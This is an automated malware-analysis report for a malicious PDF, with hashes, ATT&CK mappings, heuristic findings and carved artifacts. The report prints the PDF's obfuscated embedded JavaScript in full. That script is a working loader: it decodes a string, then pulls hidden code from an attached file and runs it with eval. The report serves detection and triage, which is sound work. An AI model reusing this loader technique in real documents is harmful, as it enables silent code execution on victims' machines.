PDF malware analysis — malicious · a5bd81b988a36289

MALICIOUS

PDF

4.1 KB First seen: 2026-05-09

MD5: d8861b14f34141e6b6c4a5deca0d2b33 SHA-1: 3894a444938624a972614efa470853c859202106 SHA-256: a5bd81b988a3628964e5968268fff07113ab2d3cbde1f69a1606bf5dd42429ff

176 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1204.002 Malicious File

The PDF contains embedded JavaScript and an embedded binary file, both flagged as suspicious. The ML classifier strongly indicates malicious intent. The embedded JavaScript is likely responsible for executing or downloading a secondary payload from the embedded binary file.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 6

JavaScript action low 2 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
Matched line in script
```
;for (i=0;i<rb.length;i +=15){   rc +=rb.charAt(i);};eval(rc);'rsla=
```
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH

A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
Embedded file low PDF_EMBEDDED

PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_file_obj0015.bin`	pdf-embedded-file	PDF EmbeddedFile object 15 at offset 0x577	42720 bytes
SHA-256: `0deeeb97f78ab9454680e42b3bd950ab316d6eac75bab28895e425299d6e6c7b`
Detection ClamAV: No threats found Obfuscation or payload: likely 254 of 254 identifiers look randomly generated (e.g. 'qXUqSjtJxwyCFe1qXUqSjtJxwyCFe2qXUqSjtJxw') — consistent with name-mangling obfuscation. Carved artifact contains 22 long base64-like blob(s).
`javascript_obj0010_000.js`	pdf-javascript-stream	PDF /JS object 10 at offset 0x2CA	442 bytes
SHA-256: `ad96bc5bd8e7de3b82d5608619b959d1c96c2ee6b92f4b6d827c731bee55e229`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script cont=' U U U UrUaU=UtUhUiUsU.UgUeUtUDUaUtUaUOUbUjUeUcUtUCUoUnUtUeUnUtUsU(U"UdUoUcUtUoUrU"U)U;UrUbU=UuUtUiUlU.UsUtUrUiUnUgUFUrUoUmUSUtUrUeUaUmU(UrUaU,U U"UuUtUfU-U8U"U)U;UrUcU=U"U"U;UfUoUrU U(UiU=U0U;UiU<UrUbU.UlUeUnUgUtUhU;UiU U+U=U1U5U)U{U U U UrUcU U+U=UrUbU.UcUhUaUrUAUtU(UiU)U;U}U;UeUvUaUlU(UrUcU)U;U';resultat="";num=this.numPages-3;for (i=0;i<cont.length;i +=num){ resultat +=cont.charAt(i);};qqd=new Function(resultat);qqd();

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